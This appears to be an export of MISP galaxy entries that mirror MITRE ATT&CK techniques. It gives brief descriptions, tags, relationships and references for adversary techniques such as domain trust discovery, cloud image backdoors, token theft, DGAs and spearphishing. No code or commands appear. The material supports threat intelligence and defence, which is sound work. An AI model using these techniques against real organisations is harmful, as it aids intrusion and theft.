Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283"*

View relationships graph

Identify business relationships - T1283 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272" with estimative-language:likelihood-probability="almost-certain"

Table 4115. Table References

Links
https://attack.mitre.org/techniques/T1283

Fake Developer Accounts - T1442

An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Fake Developer Accounts - T1442"*

View relationships graph

Fake Developer Accounts - T1442 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 4116. Table References

Links
https://attack.mitre.org/techniques/T1442

Conduct active scanning - T1254

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1254).

Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct active scanning - T1254"*

Table 4117. Table References

Links
https://attack.mitre.org/techniques/T1254

System Information Discovery - T1426

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.

On Android, much of this information is programmatically accessible to applications through the android.os.Build class.(Citation: Android-Build)

On iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)

The tag is: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"*

Table 4118. Table References

Links
http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on
https://attack.mitre.org/techniques/T1426
https://developer.android.com/reference/android/os/Build

Identify supply chains - T1246

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246"*

View relationships graph

Identify supply chains - T1246 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276" with estimative-language:likelihood-probability="almost-certain"

Table 4119. Table References

Links
https://attack.mitre.org/techniques/T1246

Domain Trust Discovery - T1482

Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"*

Table 4120. Table References

Links
https://adsecurity.org/?p=1588
https://attack.mitre.org/techniques/T1482
https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)
https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944

https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/

Exploit Enterprise Resources - T1428

Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428"*

Table 4121. Table References

Links
https://attack.mitre.org/techniques/T1428
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html

Conduct social engineering - T1249

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249).

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249"*

View relationships graph

Conduct social engineering - T1249 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268" with estimative-language:likelihood-probability="almost-certain"

Table 4122. Table References

Links
https://attack.mitre.org/techniques/T1249

Stored Data Manipulation - T1492

Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492"*

View relationships graph

Stored Data Manipulation - T1492 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

Table 4123. Table References

Links
https://attack.mitre.org/techniques/T1492
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Implant Internal Image - T1525

Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim's environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525"*

Table 4124. Table References

Links
https://attack.mitre.org/techniques/T1525
https://github.com/RhinoSecurityLabs/ccat

https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/

Cloud Service Discovery - T1526

An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc.

Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)

Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"*

Table 4125. Table References

Links
https://attack.mitre.org/techniques/T1526
https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview
https://docs.microsoft.com/en-us/rest/api/resources/
https://github.com/Azure/Stormspotter
https://github.com/RhinoSecurityLabs/pacu

Identify supply chains - T1265

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265"*

View relationships graph

Identify supply chains - T1265 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246" with estimative-language:likelihood-probability="almost-certain"

Table 4126. Table References

Links
https://attack.mitre.org/techniques/T1265

Application Access Token - T1527

Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Access Token - T1527"*

View relationships graph

Application Access Token - T1527 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"

Table 4127. Table References

Links
https://attack.mitre.org/techniques/T1527
https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/

Determine firmware version - T1258

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1258).

Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine firmware version - T1258"*

Table 4128. Table References

Links
https://attack.mitre.org/techniques/T1258

Identify supply chains - T1276

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1276).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276"*

View relationships graph

Identify supply chains - T1276 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246" with estimative-language:likelihood-probability="almost-certain"

Table 4129. Table References

Links
https://attack.mitre.org/techniques/T1276

Conduct social engineering - T1268

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1268).

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268"*

View relationships graph

Conduct social engineering - T1268 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279" with estimative-language:likelihood-probability="almost-certain"

Table 4130. Table References

Links
https://attack.mitre.org/techniques/T1268

Assess targeting options - T1296

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1296).

An adversary may assess a target’s operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess targeting options - T1296"*

Table 4131. Table References

Links
https://attack.mitre.org/techniques/T1296

Analyze data collected - T1287

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1287).

An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze data collected - T1287"*

Table 4132. Table References

Links
https://attack.mitre.org/techniques/T1287

Conduct social engineering - T1279

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1279).

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279"*

View relationships graph

Conduct social engineering - T1279 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268" with estimative-language:likelihood-probability="almost-certain"

Table 4133. Table References

Links
https://attack.mitre.org/techniques/T1279

Access Call Log - T1433

On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.

On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Call Log - T1433"*

Table 4134. Table References

Links
https://attack.mitre.org/techniques/T1433
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Create backup infrastructure - T1339

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1339).

Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Create backup infrastructure - T1339"*

Table 4135. Table References

Links
https://attack.mitre.org/techniques/T1339

Remotely Install Application - T1443

An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.

Platforms: Android

The tag is: *misp-galaxy:mitre-attack-pattern="Remotely Install Application - T1443"*

View relationships graph

Remotely Install Application - T1443 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 4136. Table References

Links
https://attack.mitre.org/techniques/T1443

Abuse Accessibility Features - T1453

This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.

A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)

Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)

Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the "Back" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453"*

Table 4137. Table References

Links
https://attack.mitre.org/techniques/T1453
https://www.skycure.com/blog/accessibility-clickjacking/
https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Access Calendar Entries - T1435

An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435"*

Table 4138. Table References

Links
https://attack.mitre.org/techniques/T1435
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Create custom payloads - T1345

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1345).

A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345"*

Table 4139. Table References

Links
https://attack.mitre.org/techniques/T1345

Manipulate Device Communication - T1463

If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).

The tag is: *misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463"*

Table 4140. Table References

Links
https://attack.mitre.org/techniques/T1463
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html
https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html

Commonly Used Port - T1436

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.

They may use commonly open ports such as

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

The tag is: *misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1436"*

Table 4141. Table References

Links
https://attack.mitre.org/techniques/T1436

Domain Generation Algorithms - T1483

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483"*

View relationships graph

Domain Generation Algorithms - T1483 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"

Table 4142. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://csis.pace.edu/ctappert/srd2017/2017PDF/d4.pdf[http://csis.pace.edu/ctappert/srd2017/2017PDF/d4.pdf]
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
https://arxiv.org/pdf/1611.00791.pdf

https://attack.mitre.org/techniques/T1483
https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

Alternate Network Mediums - T1438

Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438"*

Table 4143. Table References

Links
https://attack.mitre.org/techniques/T1438
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html

Transmitted Data Manipulation - T1493

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493"*

View relationships graph

Transmitted Data Manipulation - T1493 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"

Table 4144. Table References

Links
https://attack.mitre.org/techniques/T1493
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Subvert Trust Controls - T1553

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.

Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)

The tag is: *misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553"*

Table 4145. Table References

Links
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
https://attack.mitre.org/techniques/T1553
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Revert Cloud Instance - T1536

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

The tag is: *misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1536"*

View relationships graph

Revert Cloud Instance - T1536 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1578.004" with estimative-language:likelihood-probability="almost-certain"

Table 4146. Table References

Links
https://attack.mitre.org/techniques/T1536
https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots
https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/

Test callback functionality - T1356

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1356).

Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)

The tag is: *misp-galaxy:mitre-attack-pattern="Test callback functionality - T1356"*

Table 4147. Table References

Links
https://attack.mitre.org/techniques/T1356

Cloud Service Dashboard - T1538

An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)

Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538"*

Table 4148. Table References

Links
https://attack.mitre.org/techniques/T1538
https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html

Disseminate removable media - T1379

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379).

Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)

The tag is: *misp-galaxy:mitre-attack-pattern="Disseminate removable media - T1379"*

Table 4149. Table References

Links
https://attack.mitre.org/techniques/T1379

Spearphishing for Information - T1397

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1397).

Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn’t leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing for Information - T1397"*

Table 4150. Table References

Links
https://attack.mitre.org/techniques/T1397

Remote File Copy - T1544

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim's device.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote File Copy - T1544"*

Table 4151. Table References

Links
https://attack.mitre.org/techniques/T1544

Malicious SMS Message - T1454

